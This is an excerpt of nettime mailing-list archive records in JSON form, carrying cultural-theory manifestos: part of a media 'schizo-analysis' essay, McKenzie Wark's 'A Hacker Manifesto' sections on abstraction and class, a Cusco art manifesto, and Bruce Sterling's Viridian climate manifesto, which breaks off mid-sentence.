of a too much of everything, too much\ninjustice, too unbearable, too many images - it all reduces our\nsensory-motor capacities. But it creates more room for the affect.\nDeleuze has demonstrated how the affect is connected to the close-up.\n \nThe close-up is one of the most typical and most striking stylistic\nfeatures of the cinematographic/audio-visual image. In that way cinema\nhas contributed to the power of affect. Faces and other bodily parts or\nobjects in close-up obtain affective impressive or expressive\nqualities. The eyes loose their perspectival overview, disoriented the\nimage touches us directly. 'The affect has autonomous power', Brian\nMassumi has elaborated on this. It works independent of story or\ncontext.\n \nOn a political level the power of affect takes on a different guise.\nHelen Mirren as Queen Elisabeth gradually discovers that the\nrepresentative powers of the 'Queen as the Country' has modulated into\nthe affective power of the 'Queen of Hearts'.\n \nPower of the false\n \n11. Forgers, magicians, charlatans, tricksters, conmen and delusional\ncharacters are symptoms and diagnosis makers of the powers of the\nfalse.\nFinally the schizoanalytic lesson of Orson Welles, again first noted by\nDeleuze. In F For Fake Welles performs as a magician to introduce the\nstories of other charlatans. Master forger Elmyr de Hory draws a\nPicasso in ten minutes: no museum in the world that distinguishes it\nfrom an original one. The magician knows like no body else how to play\nwith the reality of illusions. The art forger undermines the difference\nbetween copy and original. The conman plays a game with our\nexpectations and conventions (Sawyer in Lost). The artist plays this\ngame most creatively and most generously.\n \nWhat is demonstrated in the power of the false is that the truth is\nvery difficult to retrieve and most of the time is based on a choice.\nAn affective choice, even if it is often wrapped in rational arguments,\nmoral principles or dogmatic convictions. But the true ethical\nevaluation should be the affirmative creative potentiality, the\nultimate motivation of the 'charlatan'. In The Illusionist we don't\nreally know how Eisenheim has conjured his plan. But inspector Uhl\ndecides that he knows what happened. And real magic or just a trick, it\nactually doesn't matter, Eisenheim's motivation (love, life) is what\ncounts.\n \nThe media are an immanent system that feeds itself. An abstract machine\nthat always grows, expands, produces: from the most cruel and horrific\nto the most beautiful and sublime. Production and anti-production.\nSchizo-analysis not as a disease but as a process and method to\nunderstand the immanent powers of the image, to play with them, and\nbreak through them (without breaking down).\n \nThe brain and the screen maintain an intimate and complex relationship.\nThe camera has penetrated our mind, for the best and for the worst. But\nthe brain also determines for a large part what we see on the screen,\nfor the best and for the worst. The cinematographic apparatus is no\nlonger a machine that renders the visible, a machine of the visible.\n \nThe new cinematic regime of digital a/v culture points to the fact that\nthe screen is that thin membrane between world and brain and that the\nmediated image, in producing all kind of 'invisible' powers, should be\nconceived as 'machines of the invisible.'\n \n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "id": "00007",
                "date": "Sun, 8 Jun 2008 20:03:13 +0200",
                "to": "<nettime-l {AT} kein.org>",
                "message-id": "af6c14b5daa9ff18a69e6c0d6546c4d7 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0806/msg00007.html",
                "list": "nettime_l",
                "author_name": "Pisters, P.P.R.W.",
                "subject": "<nettime> Machines of the Invisible - Manifesto for a\tSchizo-analysis of Media Cultur"
            },
            {
                "from": "\"McKenzie Wark\" <mckenziewark {AT} hotmail.com>",
                "content": "\n-- from the uncorrected page proofs.\nFor the book, see:\nhttp://www.hup.harvard.edu/catalog/WARHAC.html\n\nA Hacker Manifesto 001-006\nMcKenzie Wark\n\n001.\tA double spooks the world, the\ndouble of abstraction. The fortunes\nof states and armies, companies and\ncommunities depend on it. All\ncontending classes, be they ruling\nor ruled, revere it -- yet fear it.\nOurs is a world that ventures\nblindly into the new with its\nfingers crossed.\n\n002.\tAll classes fear this relentless\nabstraction of the world, on which\ntheir fortunes yet depend. All\nclasses but one: the hacker class.\nWe are the hackers of abstraction.\nWe produce new concepts, new\nperceptions, new sensations, hacked\nout of raw data. Whatever code we\nhack, be it programming language,\npoetic language, math or music,\ncurves or colourings, we are the\nabstracters of new worlds. Whether\nwe come to represent ourselves as\nresearchers or authors, artists or\nbiologists, chemists or musicians,\nphilosophers or programmers, each of\nthese subjectivities is but a\nfragment of a class still becoming,\nbit by bit, aware of itself as such.\n\n003.\tAnd yet we don't quite know who\nwe are. That is why this text seeks\nto make manifest our origins, our\npurpose and our interests. A hacker\nmanifesto: Not the only manifesto,\nas it is in the nature of the hacker\nto differ from others, to differ\neven from oneself, over time. To\nhack is to differ. A hacker\nmanifesto cannot claim to represent\nwhat refuses representation.\n\n004. \tHackers create the\npossibility of new things entering\nthe world. Not always great things,\nor even good things, but new things.\nIn art, in science, in philosophy\nand culture, in any production of\nknowledge where data can be\ngathered, where information can be\nextracted from it, and where in that\ninformation new possibilities for\nthe world produced, there are\nhackers hacking the new out of the\nold. Hackers create these new\nworlds, yet we do not possess them.\nThat which we create is mortgaged to\nothers, and to the interests of\nothers, to states and corporations\nwho monopolise the means for making\nworlds we alone discover. We do not\nown what we produce -- it owns us.\n\n005.\tHackers use their knowledge and\ntheir wits to maintain their\nautonomy. Some take the money and\nrun. (But one cannot run far.) We\nmust live with our compromises.\n(Some refuse to compromise.) We live\nas best we can. All too often those\nof us who take one of these paths\nresent those who take the other. One\nlot resents the prosperity it lacks,\nthe other resents the liberty it\nlacks to hack away at the world\nfreely. What eludes the hacker class\nis a more abstract expression of our\ninterests as a class, and of how\nthis interest may meet those of\nothers in the world.\n\n006.\tHackers are not joiners. We're\nnot often willing to submerge our\nsingularity in any collective. What\nthe times call for is a collective\nhack that realises a class interest\nbased on an alignment of differences\nrather than a coercive unity.\nHackers are a class, but an abstract\nclass. A class that makes\nabstractions, and a class made\nabstract. To abstract hackers as a\nclass is to abstract the very\nconcept of class itself. The slogan\nof the hacker class is not the\nworkers of the world united, but the\nworkings of the world untied.\n\n\nhttp://www.hup.harvard.edu/catalog/WARHAC.html\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "id": "00038",
                "list": "nettime_l",
                "date": "Fri, 24 Sep 2004 22:26:17 -0400",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "E1CBECo&#45;0001vM&#45;5g {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0409/msg00038.html",
                "content-type": "text/plai",
                "author_name": "McKenzie Wark",
                "subject": "<nettime> a hacker manifesto 001-006"
            },
            {
                "content-type": "text/plai",
                "from": "\"McKenzie Wark\" <mckenziewark {AT} hotmail.com>",
                "content": "\n\nSchmoo writes:\n>in ref to the Hua Hsu quote:\n>if the World was 'ours', what would we do with it?\n\nThat's one of two questions that the book tries to\nanswer. The other question is: why is this world\nnot ours? What is the new ruling class that seeks\nto concentrate the onwership and control of all\ninformation in its hands? In the extract below, i\ntry to develop a way of grappling with this\n\n--k\n\nA Hacker Manifesto\nMcKenzie Wark\nHarvard University Press\nhttp://www.hup.harvard.edu/catalog/WARHAC.html\n\n\n\n007.\tEverywhere abstraction reigns,\nabstraction made concrete.\nEverywhere abstraction's straight\nlines and pure curves order matters\nalong complex but efficient\nvectors. But where education\nteaches what one may produce with\nan abstraction, the knowledge most\nuseful for the hacker class is of\nhow abstractions are themselves\nproduced. Deleuze: \"Abstractions\nexplain nothing, they themselves\nhave to be explained.\"\n\n008.\tAbstraction may be\ndiscovered or produced, may be\nmaterial or immaterial, but\nabstraction is what every hack\nproduces and affirms. To abstract\nis to construct a plane upon which\notherwise different and unrelated\nmatters may be brought into many\npossible relations. To abstract is\nto express the virtuality of\nnature, to make known some instance\nof its manifold possibilities, to\nactualise a relation out of\ninfinite relationality, to manifest\nthe manifold.\n\n009. \tHistory is the production\nof abstraction and the abstraction\nof production. What makes life\ndiffer in one age after the next is\nthe application of new modes of\nabstraction to the task of wresting\nfreedom from necessity. History is\nthe virtual made actual, one hack\nafter another. History is the\ncumulative qualitative\ndifferentiation of nature as it is\nhacked.\n\n010.\tOut of the abstraction of\nnature comes its productivity, and\nthe production of a surplus over\nand above the necessities of\nsurvival. Out of this expanding\nsurplus over necessity comes an\nexpanding capacity to hack, again\nand again, producing further\nabstractions, further productivity,\nfurther release from necessity --\nat least in potential. But in\nactuality the hacking of nature,\nthe production of surplus, does not\nmake us free. Again and again, a\nruling class arises that controls\nthe surplus over bare necessity and\nenforces new necessities on those\npeoples who produce this very means\nof escaping necessity.\n\n011.\tWhat makes our times different\nis the appearance of the horizon of\npossibility of a new world, long\nimagined -- a world free from\nnecessity. The production of\nabstraction has reached the\nthreshold where it can break the\nshackles holding hacking fast to\noutdated and regressive class\ninterests, once and for all.\nDebord: \"The world already\npossesses the dream of a time whose\nconsciousness it must now possess\nin order to actually live it.\"\n\n012.\tInvention is the mother of\nnecessity. While all states depend\non abstraction for the production\nof their wealth and power, the\nruling class of any given state has\nan uneasy relationship to the\nproduction of abstraction in new\nforms. The ruling class seeks\nalways to control innovation and\nturn it to its own ends, depriving\nthe hacker of control of her or his\ncreation, and thereby denying the\nworld as a whole the right to\nmanage its own development.\n\n013.\tThe production of new\nabstraction always takes place\namong those set apart by the act of\nhacking. We others who have hacked\nnew worlds out of old, in the\nprocess become not merely strangers\napart but a class apart. While we\nrecognise our distinctive existence\nas a group, as programmers or\nartists or writers or scientists or\nmusicians, we rarely see these ways\nof representing ourselves as mere\nfragments of a class experience.\nGeeks and freaks become what they\nare negatively, through the\nexclusion by others. Together we\nform a class, a class as yet to\nhack itself into existence as\nitself -- and for itself.\n\n014.\tIt is through the abstract that\nthe virtual is identified, produced\nand released. The virtual is not\njust the potential latent in\nmatter, it is the potential of\npotential. To hack is to produce or\napply the abstract to information\nand express the possibility of new\nworlds, beyond necessity.\n\n015.\tAll abstractions are\nabstractions of nature.\nAbstractions release the potential\nof the material world. And yet\nabstraction relies on the material\nworld's most curious quality --\ninformation. Information can exist\nindependently of a given material\nform, but cannot exist without any\nmaterial form. It is at once\nmaterial and immaterial. The hack\ndepends on the material qualities\nof nature, and yet discovers\nsomething independent of a given\nmaterial form. It is at once\nmaterial and immaterial. It\ndiscovers the immaterial virtuality\nof the material, its qualities of\ninformation.\n\n016.\tAbstraction is always an\nabstraction of nature, a process\nthat creates nature\u0092s double, a\nsecond nature, a collective space\nof human existence in which\ncollective life dwells among its\nown products and comes to take the\nenvironment it produces to be\nnatural.\n\n017.\tLand is the detachment of a\nresource from nature, an aspect of\nthe productive potential of nature\nrendered abstract, in the form of\nproperty. Capital is the detachment\nof a resource from land, an aspect\nof the productive potential of land\nrendered abstract, in the form of\nproperty. Information is the\ndetachment of a resource from\ncapital already detached from land.\nIt is the double of a double. It is\na further process of abstraction\nbeyond capital, but one that yet\nagain produces its separate\nexistence in the form of property.\n\n018.\tJust as the development of land\nas a productive resource creates\nthe historical advances for its\nabstraction in the form of capital,\nso too does the development of\ncapital provide the historical\nadvances for the further\nabstraction of information, in the\nform of 'intellectual property'. In\ntraditional societies, land,\ncapital and information were bound\nto particular social or regional\npowers by customary or hereditary\nties. What abstraction hacked out\nof the old feudal carcass was a\nliberation of these resources based\non a more productive form of\nproperty, a universal right to\nprivate property. This universal\nabstract form encompassed first\nland, then capital, now\ninformation.\n\n019.\tWhile the abstraction of\nproperty unleashed productive\nresources, it did so at the same\ntime as it instituted class\ndivision. Private property\nestablished a pastoralist class\nthat owns the land, and a farmer\nclass dispossessed of it. Out of\nthe people the abstraction of\nprivate property expelled from its\ntraditional communal right to land,\nit created a dispossessed class who\nbecame the working class, as they\nwere set to work by a rising class\nof owners of the material means of\nmanufacturing, the capitalist\nclass. This working class became\nthe first class to seriously\nentertain the notion of\noverthrowing class rule, but failed\nin this historic task. The property\nform was not yet abstract enough to\nrelease the virtuality of\nclasslessness that is latent in the\nproductive energies of abstraction\nitself.\n\n020.\tIt is always the hack that\ncreates a new abstraction. With the\nemergence of a hacker class, the\nrate at which new abstractions are\nproduced accelerates. The\nrecognition of intellectual\nproperty as a form of property --\nitself an abstraction, a legal hack\n-- creates a class of intellectual\nproperty creators. But this class\nstill labours for the benefit of\nanother class, to whose interests\nits own interests are subordinated.\nAs the abstraction of private\nproperty was extended to\ninformation, it produced the hacker\nclass as a class, as a class able\nto make of its innovations in\nabstraction a form of property.\nUnlike farmers and workers, hackers\nhave not -- yet -- been\ndispossessed of their property\nrights entirely, but still must\nsell their capacity for abstraction\nto a class that owns the means of\nproduction, the vectoralist class -\n- the emergent ruling class of our\ntime.\n\n021.\tThe vectoralist class wages an\nintensive struggle to dispossess\nhackers of their intellectual\nproperty. Patents and copyrights\nall end up in the hands, not of\ntheir creators, but of a\nvectoralist class that owns the\nmeans of realising the value of\nthese abstractions. The vectoralist\nclass struggles to monopolise\nabstraction. For the vectoral\nclass, \"politics is about absolute\ncontrol over intellectual property\nby means of war-like strategies of\ncommunication, control, and\ncommand.\"  Hackers find themselves\ndispossessed both individually, and\nas a class.\n\n022.\tAs the vectoralist class\nconsolidates its monopoly on the\nmeans of realising the value of\nintellectual property, it confronts\nthe hacker class more and more as a\nclass antagonist. Hackers come to\nstruggle against the usurious\ncharges the vectoralists extort for\naccess to the information that\nhackers collectively produce, but\nthat vectoralists come to own.\nHackers come to struggle against\nthe particular forms in which\nabstraction is commodified and\nturned into the private property of\nthe vectoralist class. Hackers come\nas a class to recognise their class\ninterest is best expressed through\nthe struggle to free the production\nof abstraction, not just from the\nparticular fetters of this or that\nform of property, but to abstract\nthe form of property itself.\n\n023.\tThe time is past due when\nhackers must come together with\nworkers and farmers -- with all of\nthe producing classes of the world\n-- to liberate productive and\ninventive resources from the myth\nof scarcity. The time is past due\nfor new forms of association to be\ncreated that can steer the world\naway from its destruction through\ncommodified exploitation. The\ngreatest hacks of our time may turn\nout to be forms of organising free\ncollective expression, so that from\nthis time on, abstraction serves\nthe people, rather than the people\nserving the ruling class.\n\nhttp://www.hup.harvard.edu/catalog/WARHAC.html\n\n\n\n\n----- End forwarded message -----\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "id": "00040",
                "date": "Sun, 26 Sep 2004 20:40:04 -0400",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "E1CC2AP&#45;00033M&#45;LF {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0409/msg00040.html",
                "list": "nettime_l",
                "author_name": "McKenzie Wark",
                "subject": "<nettime> A hacker manifesto 007-020"
            },
            {
                "from": "\"Nils R\u00f6ller\" <rfnr {AT} hotmail.com>",
                "content": "\n[via \"geert lovink\" <geert {AT} xs4all.nl>]\n\n\nTowards a Cusco-Manifesto\n\nWe need a warm-time-machine.\n\nThe Internet is becoming more and more a time-machine, that homogenizes\nworldwide relations. We do believe that this needs a new warm input.\nToday's input comes from a northwestern time-structure.  We do not\nquestion single enterprises like the international space station, we want\nto build our a time-space-station in Cusco.\n\nCusco is more than Venice.  It is not only a nice counterpart of the\nworld, not only a system of channels, that is permanently overfludded by\ninternational tourism, it is more and it is different. It is a compass for\nideas and a habitat to develop critical creativity.\n\nWhy? Because Cusco is a place in between: between inca-past and global\nfuture.\n\nGlobal future will be conditioned by electronic networks. The inca-past\nwas conditioned by a non-literal network. Today Cusco is overfludded by\ninternational tourists that do want to adventure the existing botanic\njungle and also the hidden jungle of precolumbian history. This history\nwas not written. Is was only interpreted by the writers of the western\ncolonizers, that did represent the Inca knowledge in a medium that is\nstrange to its individual structure. We will question this structure.\n\nOur structure of approaching Cusco is the difference machine. The\ndifference machine starts to work, when different media techniques are in\nconflict.\n\nOur warm-time-machine works with the energy of this conflict. Going\ntowards Cusco converts a hybrid energy.  McLuhan said that the artist is\nable to realize how new media techniques will change common\ntime-space-feeling. Cusco is different. It enables to realize how networks\nin past and future can merge together.\n\nWe do invite artists and scientists to use their insight into\ntimespace-architectures. We ask them to take examples of precolumbian\nwork. For us a a vase found in an inca tomb or corns of amaranth are not\nonly elements of a past tradition nice to gaze at. They are traces of\nanother time-space structure.\n\nWe do encourage artists to invest in a special stock market. We trade with\nvisual robbery and we do aks artists to rework and reflect the robbery of\nwestern treasure-hunters.\n\nThis reflection will allow us to createt resources for the\nwarm-time-machine: to build step by step the Cusco Academy.\n\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "id": "00087",
                "list": "nettime_l",
                "date": "Wed, 12 Sep 2001 11:17:16 +1000",
                "to": "<nettime-l {AT} bbs.thing.net>",
                "message-id": "200109122124.RAA21261 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0109/msg00087.html",
                "content-type": "text/plai",
                "author_name": "Nils R\u00f6ller",
                "subject": "<nettime> Towards a Cusco-Manifesto"
            },
            {
                "id": "00098",
                "content": "\nThe Manifesto of January 3, 2000\nby Bruce Sterling\n\nThe rapidly approaching millennium offers a unique cultural opportunity.\nAfter many years of cut-and-paste, appropriation, detournement and\nneo-retro ahistoricality, postmodernity is about to end.  Immediately\nafter the end of the fin de siecle, there will be a sudden and intense\ndemand for genuine novelty.\n\nAny new year offers a chance for sweeping resolutions and brave efforts at\nself-reform.  But the end of a millennium offers a rare and vital\nopportunity to bury all that is dead within us and issue proclamations of\nparticular scope and ambition.\n\nI suspect that a group that can offer a coherent, thoughtful and novel\ncultural manifesto on the target date of January 3, 2000 has a profound\nopportunity to affect the zeitgeist.  (On January 1, everyone will be too\nhung over to read manifestos; on January 2, nobody's computers will work.\nSo naturally the target date must be January 3.)  In this preliminary\ndocument, I would like to offer a few thoughts on the possible contents of\nsuch a manifesto.\n\nThe central issue as the new millennium dawns is technocultural. There are\nof course other, more traditional, better-developed issues for humankind.  \nCranky fundamentalism festers here and there; the left is out of ideas\nwhile the right is delusional; income disparities have become absurdly\nhuge; these things are obvious to all.  However, the human race has\nrepeatedly proven that we can prosper cheerfully with ludicrous, corrupt\nand demeaning forms of religion, politics and commerce.  By stark\ncontrast, no civilization can survive the physical destruction of its\nresource base. It is very clear that the material infrastructure of the\ntwentieth century is not sustainable.  This is the issue at hand.\n\nWe have a worldwide environmental problem.  This is a truism.  But the\nunprecedentedly severe and peculiar weather of the late 1990s makes it\nclear that this problem is growing acute.  Global warming has been a\nlively part of scientific discussion since at least the 1960s, but global\nwarming is a quotidian reality now.  Climate change is shrouding the globe\nin clouds of burning rain forest and knocking points off the GNP of China.  \nEveryone can offer a weird weather anecdote now; for instance, I spent a\nweek this summer watching the sky turn gray with fumes from the blazing\nforests of Chiapas.  The situation has been visibly worsening, and will\nget worse yet, possibly very much worse.\n\nSociety has simply been unable to summon the political or economic will to\ndeal successfully with this problem by using 20th century methods. That is\nbecause CO2 emission is not centrally a political or economic problem.  \nIt is a design and engineering problem.  It is a cultural problem and a\nproblem of artistic sensibility.\n\nNew and radical approaches are in order. These approaches should be\noriginated, gathered, martialled into an across-the board cultural\nprogram, and publicly declared -- on January 3rd.\n\nGlobal warming is a profound opportunity for the 21st century culture\nindustry. National governments lack the power and the will to impose\ndirigiste solutions to the emission of carbon dioxide.  Dirigiste\nsolutions would probably not work anyway. It is unlikely that many of us\ncould tolerate living in a carbon-dioxide Ration State.  It would mean\nthat almost every conceivable human activity would have to be licensed by\nenergy commissars.\n\nIndustry will not reform its energy base. On the contrary, when it comes\nto CO2 legislation, industry will form pressure groups and throw as much\nsand as possible into the fragile political wheels.  Industry will use\nobscurantist tactics that will mimic those of American right-wing\nanti-evolution forces -- we will be told that Global Warming is merely a\n\"theory,\" even when our homes are on fire. Industry is too stupid to see\nplanetary survival as a profit opportunity. But industry is more than\nclever enough to sabotage government regulation, especially when\nglobalized industry can play one government off against the next.\n\nThe stark fact that our atmosphere is visibly declining is of no apparent\neconomic interest except to insurance firms, who will simply make up their\nlack by gouging ratepayers and exporting externalized costs onto the\ngeneral population.\n\nWith business hopeless and government stymied, we are basically left with\ncultural activism.  The tools at hand are art, design, engineering, and\nbasic science:  human artifice, cultural and technical innovation.\nGranted, these may not seem particularly likely sources of a serious and\nsuccessful effort to save the world.  This is largely because, during the\ntwentieth century, government and industry swelled to such tremendous\nhigh-modernist proportions that these other enterprises exist mostly in\nshrunken subcultural niches.\n\nHowever, this doesn't have to be the case.  With government crippled and\nindustry brain-dead to any conceivable moral appeal, the future of\ndecentered, autonomous cultural networks looks very bright.  There has\nnever been an opportunity to spread new ideas and new techniques with the\nalacrity that they can spread now.  Human energy must turn in some\ndirection.  People will run from frustration and toward any apparent\nsource of daylight.  As the planet's levees continue to break, people will\nrun much faster and with considerably more conviction.\n\nOur cultural substance-abuse problem with CO2 may have very severe\nconsequences to human happiness, but the immediate physical problem is\nrather well understood.  Clever people, united and motivated, should be\nable to deal with this.  Carbon dioxide is not a time-honored\nphilosophical dilemma or some irreducible flaw in the human condition.  \nSerious fossil-fuel consumption, as a practice on the grand scale, is only\nabout 200 years old.  The most severe rise in carbon emission occurred\nduring the past fifty years.  We're painfully dependent on this practice,\nbut it's not as if we've married it.\n\nIt's a question of tactics.  Civil society does not respond at all well to\nmoralistic scolding.  There are small minority groups here and there who\nare perfectly aware that it is immoral to harm the lives of coming\ngenerations by massive consumption now:  deep Greens, Amish, people\npracticing voluntary simplicity, Gandhian ashrams and so forth.  These\npublic-spirited voluntarists are not the problem.  But they're not the\nsolution either, because most human beings won't volunteer to live like\nthey do.  Nor can people be forced to live that way through legal\nprescription, because those in command of society's energy resources will\nimmediately game and neutralize any system of legal regulation.\n\nHowever, contemporary civil society can be led anywhere that looks\nattractive, glamorous and seductive.\n\nThe task at hand is therefore basically an act of social engineering.\nSociety must become Green, and it must be a variety of Green that society\nwill eagerly consume.  What is required is not a natural Green, or a\nspiritual Green, or a primitivist Green, or a blood-and-soil romantic\nGreen.\n\nThese flavors of Green have been tried, and have proven to have\ninsufficient appeal.  We can regret this failure if we like.  If the\nsemi-forgotten Energy Crisis of the 1970s had provoked a wiser and more\nenergetic response, we would not now be facing a weather crisis.  But the\npast's well-meaning attempts were insufficient, and are now part of the\nlegacy of a dying century.\n\nThe world needs a new, unnatural, seductive, mediated, glamorous Green. A\nViridian Green, if you will.\n\nThe best chance for progress is to convince the twenty-first century that\nthe twentieth century's industrial base was crass, gauche, and filthy.\nThis approach will work because it is based in the truth.  The twentieth\ncentury lived in filth.  It was much like the eighteenth century before\nthe advent of germ theory, stricken by septic cankers whose origins were\nshrouded in superstition and miasma.  The truth about our physical\nexistence must be shown to people.  It must be demonstrated repeatedly and\neverywhere.\n\nPeople with networks, websites and sophisticated sensors should not find\nthis task very difficult.\n\nThe current industrial base is outmoded, crass and nasty, but this is not\nyet entirely obvious.  Scolding it and brandishing the stick is just part\nof the approach.  Proving it requires the construction of an alternative\ntwenty-first century industrial base which seems elegant, beautiful and\nrefined.  This effort should not be portrayed as appropriate, frugal, and\nsensible, even if it is.  It must be perceived as glamorous and visionary.  \nIt will be very good if this new industrial base actually functions, but\nit will work best if it is spectacularly novel and beautiful.\n If it is accepted, it can be made to work; if it is not accepted, it will\nnever have a chance to work.\n\nThe central target for this social engineering effort must be the people\nwho are responsible for emitting the most CO2.  The people we must strive\nto affect are the ultrarich.  The rentiers, the virtual class, the\ncaptains of industry; and, to a lesser extent, the dwindling middle\nclasses. The poor will continue to suffer.  There is clearly no pressing\nreason for most human beings to live as badly and as squalidly as they do.  \nBut the poor do not emit much carbon dioxide, so our efforts on their\nbehalf can only be tangential.\n\nUnlike the modernist art movements of the twentieth century, a Viridian\nculture-industry movement cannot be concerned with challenging people's\naesthetic preconceptions. We do not have the 19th-century luxury of\nshocking the bourgeoisie. That activity, enjoyable and time-honored though\nit is, will not get that poison out of our air. We are attempting to\nsurvive by causing the wealthy and the bourgeoisie to willingly live in a\nnew way.\n\nWe cannot make them do it, but if we focussed our efforts, we would have\nevery prospect of luring them into it.\n\nWhat is culturally required at the dawn of the new millennium is a genuine\navant-garde, in the sense of a cultural elite with an advanced sensibility\nnot yet shared by most people, who are creating a new awareness requiring\na new mode of life.  The task of this avant-garde is to design a stable\nand sustainable physical economy in which the wealthy and powerful will\nprefer to live.  Mao suits for the masses are not on the Viridian agenda.  \nCouture is on the agenda.  We need a form of Green high fashion so\nappallingly seductive and glamorous that it can literally save people's\nlives.  We have to gratify people's desires much better than the current\nsystem does.  We have to reveal to people the many desires they have that\nthe current system is not fulfilling.  Rather than marshalling themselves\nfor inhuman effort and grim sacrifice, people have to sink into our\ntwenty-first century with a sigh of profound relief.\n\nAllow me to speak hypothetically now, as if this avant-garde actually\nexisted, although, as we all know, it cannot possibly come into being\nuntil January 3, 2000.  Let's discuss our tactics.  I have a few cogent\nsuggestions to offer.\n\nWe can increase our chances of success by rapidly developing and expanding\nthe postmodern culture industry.  Genuine \"Culture\" has \"art\" and\n\"thought,\" while the Culture Industry merely peddles images and\ninformation.\n\nI know this. I am fully aware of the many troubling drawbacks of this\nsituation, but on mature consideration, I think that the Culture Industry\nhas many profound advantages over the twentieth century's physically\npoisonous smokestack industries.  Also, as digital technologists,\nthinkers, writers, designers, cultural critics, und so weiter, we\nViridians suspect that the rise of the Culture Industry is bound to\nincrease our own immediate power and influence vis-a-vis, say, coal mining\nexecutives.  This may not be an entirely good thing.  However, we believe\nwe will do the world less immediate damage than they are doing.\n\nWe therefore loudly demand that the Culture Industry be favored as a\nsuitably twenty-first century industrial enterprise.  Luckily the trend is\nalready very much with us here, but we must go further; we believe in\nFordism in the Culture Industry.  This means, by necessity, leisure. Large\namounts of leisure are required to appreciate and consume\ncultural-industrial products such as movies, software, semi-functional\nstreaming media and so on.  Time spent at more traditional forms of work\nunfairly lures away the consumers of the Culture Industry, and therefore\nposes a menace to our postindustrial economic underpinnings.\n\n\"Work\" requires that people's attention to be devoted to other, older,\nless attractive industries.  \"Leisure\" means they are paying attention and\nmoney to us.\n\n\nWe therefore demand much more leisure for everyone.  Leisure for the\nunemployed, while copious, is not the kind of \"leisure\" that increases our\nprofits.  We specifically demand intensive leisure for well-educated,\nwell-heeled people.  These are the people who are best able to appreciate\nand consume truly capital-intensive cultural products.\n\nWe Viridians suspect that it would require very little effort to make\npeople work much less.  Entirely too much effort is being spent working.\nWe very much doubt that there is anything being done in metal-bending\nindustry today that can justify wrecking the atmosphere.  We need to burn\nthe planetary candle at one end only (and, in daylight, not at all).\n\nAs much time as possible should be spent consuming immaterial products.  \nA global population where the vast majority spend their time sitting still\nand staring into screens is a splendid society for our purposes.  Their\nscreens should be beautifully designed and their surroundings\nenergy-efficient.  The planet will benefit for everyone who clicks a mouse\ninstead of shovelling coal or taking an axe and a plow to a rain forest.\n\nThe tourist industry is now the number one industry on the planet.\nTourists consume large amounts of pre-packaged culture.  We believe\ntourism to be a profoundly healthy development.  We feel we must strongly\nresist the retrograde and unprofitable urge to make migrants and migration\nillegal.\n\nGiven the unstable condition of the environment, this practice may soon\nbecome tantamount to genocide.  It is also palpably absurd to live in a\nsociety where capital can move faster and more easily than human beings.\nCapital exists for the sake and convenience of human beings.\n\nWe believe that the movement of human beings across national boundaries\nand under the aegis of foreign governments is basically a design problem.\nIf guest workers, refugees, pleasure travellers and so forth were all\nelectronically tracked via satellite or cell repeaters, the artificial\ndivision between jet setters and refugees would soon cease to exist.\nForeigners are feared not merely because they are foreign, but because\nthey are unknown, unidentified, and apparently out of local social\ncontrol.\n\nIn the next century, foreigners need be none of these things.  Along with\ntheir ubiquitous credit cards and passports, they could carry their entire\npersonal histories.  They could carry devices establishing proof of their\npersonal bona fides that would be immediately obvious to anyone in any\nlanguage. A better designed society would accommodate this kind of human\nsolidarity, rather than pandering to the imagined security needs of\nland-based national regimes.\n\nWe believe that it should be a general new design principle to add\ninformation to a problem, as opposed to countering it with physical\nresources (in the case of migrants, steel bars and barbed wire).\nElectronic tracking seems a promising example.  While the threat to\nprivacy and anonymity from electronic parole is obviously severe, there is\nnothing quite so dreadful and threatening as a septic refugee camp.  We\nconsider this a matter of some urgency.  We believe it to be very likely\nthat massive evacuations will occur in the next few decades as a matter of\ncourse, not merely in the disadvantaged Third World, but possibly in areas\nsuch as a new American Dust Bowl.  Wise investments in electronic tourist\nmanagement would be well repaid in stitching the fraying fabric of a\nweather-disrupted civilization.\n\nFor instance, we would expect to see one of the first acts of 21st century\ndisaster management to be sowing an area with air-dropped and\nsatellite-tracked cellphones.  We believe that such a tracking and display\nsystem could be designed so that it would not be perceived as a threat,\nbut rather as a jet-setter's prestige item, something like a portable\npersonal webpage.  We believe such devices should be designed first for\nthe rich. The poor need them worse, but if these devices were developed\nand given to the poor by socialist fiat, this would be (probably\ncorrectly) suspected as being the first step toward police roundup and a\ndeath camp.\n\nReplacing natural resources with information is a natural area for\ntwenty-first century design, because it is an arena for human ingenuity\nthat was technically closed to all previous centuries.  We see\nconsiderable promise in this approach. It can be both cheap and glamorous.\n\nEnergy meters, for instance, should be ubiquitous.  They should be\npresent, not in an obscure box outside the home, but enshrined within it.\nThis is not a frugal, money-saving effort.  It should be presented as a\nluxury.  It should be a mark of class distinction.  It should be\nconsidered a mark of stellar ignorance to be unaware of the source of\none's electric power.  Solar and wind power should be sold as premiums\navailable to particularly affluent and savvy consumers.  It should be\nconsidered the stigma of the crass proletarian to foul the air every time\none turns on a light switch.\n\nEnvironmental awareness is currently an annoying burden to the consumer,\nwho must spend his and her time gazing at plastic 